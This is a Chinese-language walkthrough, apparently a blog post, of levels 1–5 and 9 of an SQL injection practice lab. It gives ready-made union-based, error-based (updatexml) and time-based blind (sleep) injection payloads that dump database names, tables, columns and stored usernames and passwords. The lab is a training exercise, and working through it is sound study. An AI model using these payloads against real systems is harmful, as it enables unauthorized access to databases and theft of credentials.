sql注入靶场1-5,9关

第一关:

1通过id=1'的报错信息判断出,此关是'闭合 的字符型

2通过order by判断出该查询共有 3列

3通过语句?id=-1' union select 1,2,3 --+,判断出回显位置是2和3列

4接下来就可以构造sql语句去查询数据库信息

查询当前数据库?id=-1' union select 1,database(),3 --+

查询所有表名?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查询user表的字段?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查询账号密码?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

第二关

1通过id=1'的报错信息判断出,此关是数字型

2用order by判断出字段数为3

3用上关的方法判断出回显为2,3

4然后同样的构造sql语句查询数据库信息

第三关

1同样用id=1'的报错信息判断出闭合方式为')

然后其他步骤相同,只有?id=-1')不一样

第四关

1输入?id=1'不报错,输入?id=1"的报错信息for the right syntax to use near '"1"") LIMIT 0,1' at line 1看出闭合方式为")

其他步骤一样的判断回显位置,判断列数,查询数据库

第五关

1通过id=1'的报错信息判断出,此关是'闭合 的字符型,再用id=1' --+语句,却没有数据回显,说明本关不适用联合查询,有报错信息,可以用报错注入,

2同样用order by判断出字段数为3

3用特殊的报错函数来构造特定的sql语句,将想要的数据库信息显示在报错信息中

查询当前数据库名?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

第九关

1不管?id=1后面跟的'还是"或者其他符合,回显都不会变,也没有报错信息。

2所以尝试单引号闭合的时间盲注?id=1' and sleep(5) --+,加载页面需要五秒,说明是对的,

3通过延迟时间,只能每个字符每个字符的查询?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+,时间太久,可以搭配burp的爆破

相关推荐
这个DBA有点耶20 小时前
MVCC深入:Read View、版本链与快照读——InnoDB并发控制的内核
数据库·mysql·架构
DBA_G20 小时前
从地面到云霄:GBase数据库在民航三大场景的落地实践
数据库
自由能燃气设备21 小时前
商用全预混低氮冷凝锅炉免费方案vs付费方案对比+选型避坑指南
大数据·数据库·人工智能
科创致远21 小时前
科创致远 ESOP 系统核心效能与实战价值展示
大数据·数据库·人工智能·精益工程
漂着的圆木1 天前
Agent 功能参与度:Copilot 怎么算
sql·数据分析·agent·githubcopilot·度量
2601_962218611 天前
万象生鲜系统称重自动多退少补算法解决生鲜非标品痛点
大数据·数据库·人工智能·python·算法
张洛闻Eren1 天前
k8s云原生【第十课】:水平 Pod 自动扩缩容
运维·数据库·云原生·kubernetes·github
于平安1 天前
MySQL-触发器
数据库·mysql
白远山1 天前
上海24小时自助健身房解决方案实战指南与经验分享
java·数据库·架构·需求分析
Omics Pro1 天前
斯坦福Nature+Science|广义虚拟细胞基础大模型
数据库·人工智能·算法·机器学习·自然语言处理